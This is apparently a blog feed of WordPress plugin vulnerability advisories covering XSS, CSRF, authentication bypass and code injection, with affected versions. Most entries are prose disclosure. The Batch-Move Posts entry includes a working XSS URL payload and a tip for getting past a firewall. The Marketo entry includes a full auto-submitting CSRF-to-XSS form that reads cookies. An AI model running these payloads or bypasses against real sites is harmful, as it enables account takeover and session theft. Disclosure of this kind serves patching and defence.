What’s a theme that you loved that is now dead or so buggy you can’t use it?

The post Help Us Find Dead Themes appeared first on Shawn DeWolfe Consulting.

Contact Form Clean and Simple is vulnerable to Authenticated stored XSS. When a user has admin capabilities, malicious code can be submitted through the plugin's options. This code will then be executed on every page with the contact form on the front-end. Edit (WPScanTeam): January 22nd, 2020 - Escalated to WP plugins team as no response from the developer according to the researcher.

The post Contact Form Clean and Simple <= 4.7.0 – Authenticated Stored XSS appeared first on Shawn DeWolfe Consulting.

Vulnerable code is from like 68 to 84. The code gets the value of option `bm_row_amount` from database and matches it with the GET request `row_amount`. If they do not match then it updates the option `bm_row_amount` with the provided GET value. If you follow the file batch.php from top, you may see that the mentioned code is not dependent of any pre condition i.e. checking if user is admin or csrf tokens etc. This means that anyone from outside can call following URL as an unauthenticated user and the option `bm_row_amount` will get updated. https://example.com/?row_amount="><script>alert(2)</script> The GET variable `row_amount` can also be sent as POST to bypass firewall and it will still work. The Payload will trigger on main settings page of the plugin (Posts > Move Categories). https://example.com/wp-admin/edit.php?page=batchadmin

The post Batch-Move Posts <= 1.5 – Broken Authentication leading to Unauthenticated Stored XSS appeared first on Shawn DeWolfe Consulting.

<html> <form action="https://[WP]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf"> <input type="text" name="marketo_save" value="true"> <input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>"> <input type="text" name="marketo[marketo_base_url]" value=""> <input type="text" name="marketo[user_id]" value=""> <input type="text" name="marketo[end_point]" value=""> <input type="text" name="marketo[secret]" value=""> <input type="text" name="marketo[popout_title]" value=""> <input type="text" name="marketo[popout_tabtext]" value=""> <input type="text" name="marketo[popout_snippet]" value=""> <input type="text" name="marketo[popout_form]" value=""> </form> <script> document.getElementById('csrf').submit(); </script> </html>

The post Marketo Forms and Tracking <= 1.0.2 – CSRF to XSS appeared first on Shawn DeWolfe Consulting.

It is possible to login as any administrator on the site due to logical mistakes in the code. The issue resides in the function iwp_mmb_set_request which is located in the init.php file. This checks if the request_params array of the core class is not empty, which is only set in another function which is only populated when the payload meets certain conditions (in this scenario, the actions readd_site and add_site are the only actions that do not have an authorization check which is why this issue exists.) Once the payload meets these conditions, the username parameter that is supplied will be used to login the requester as that user without performing any further authentication.

The post InfiniteWP Client < 1.9.4.5 – Authentication Bypass appeared first on Shawn DeWolfe Consulting.

Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field. First reported to Learndash on January 14, 2020, and update 3.1.2 to fix it was released same day. This report is based on an email LearnDash sent out to their users on January 14, 2020.

The post LearnDash < 3.1.2 – Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field. appeared first on Shawn DeWolfe Consulting.

It is possible to login as an administrator on the site due to logical mistakes in the code. The issue resides in wptc-cron-functions.php line 12 where it parses the request. This parse_request function calls the function decode_server_request_wptc which check if the raw POST payload contains a certain string. If it does, it calls wptc_login_as_admin and you'll be logged in as an administrator.

The post Backup and Staging by WP Time Capsule < 1.21.16 – Authentication Bypass appeared first on Shawn DeWolfe Consulting.

The export_users_csv function, registered as an authenticated AJAX call and allowing to export users, was missing the authorisation/capability check. CSRF check was in place, reducing the severity of the issue. Only version 1.15 seems to be affected as the export functionality is a new feature introduced by it.

The post Import Users From CSV with Meta 1.15 – Unauthorised Authenticated Users Export appeared first on Shawn DeWolfe Consulting.

"A code injection vulnerability was discovered by our team during a routine code audit that could allow logged in contributors, authors and editors to execute a small set of PHP functions." Affected: Divi version 3.23 and above, Extra 2.23 and above Divi Builder version 2.23 and above. Product versions 4.0.10 include the security patch.

The post ElegantThemes (divi, extra, divi-builder < 4.0.10) – Authenticated Code Injection appeared first on Shawn DeWolfe Consulting.

The gdpr_cookie_compliance_reset_settings AJAX action registered for authenticated users lacks authorisation and CSRF checks, allowing unauthorised authenticated users to call it, which would result in the settings being reset.

The post GDPR Cookie Compliance <= 4.0.2 – Authenticated Settings Reset appeared first on Shawn DeWolfe Consulting.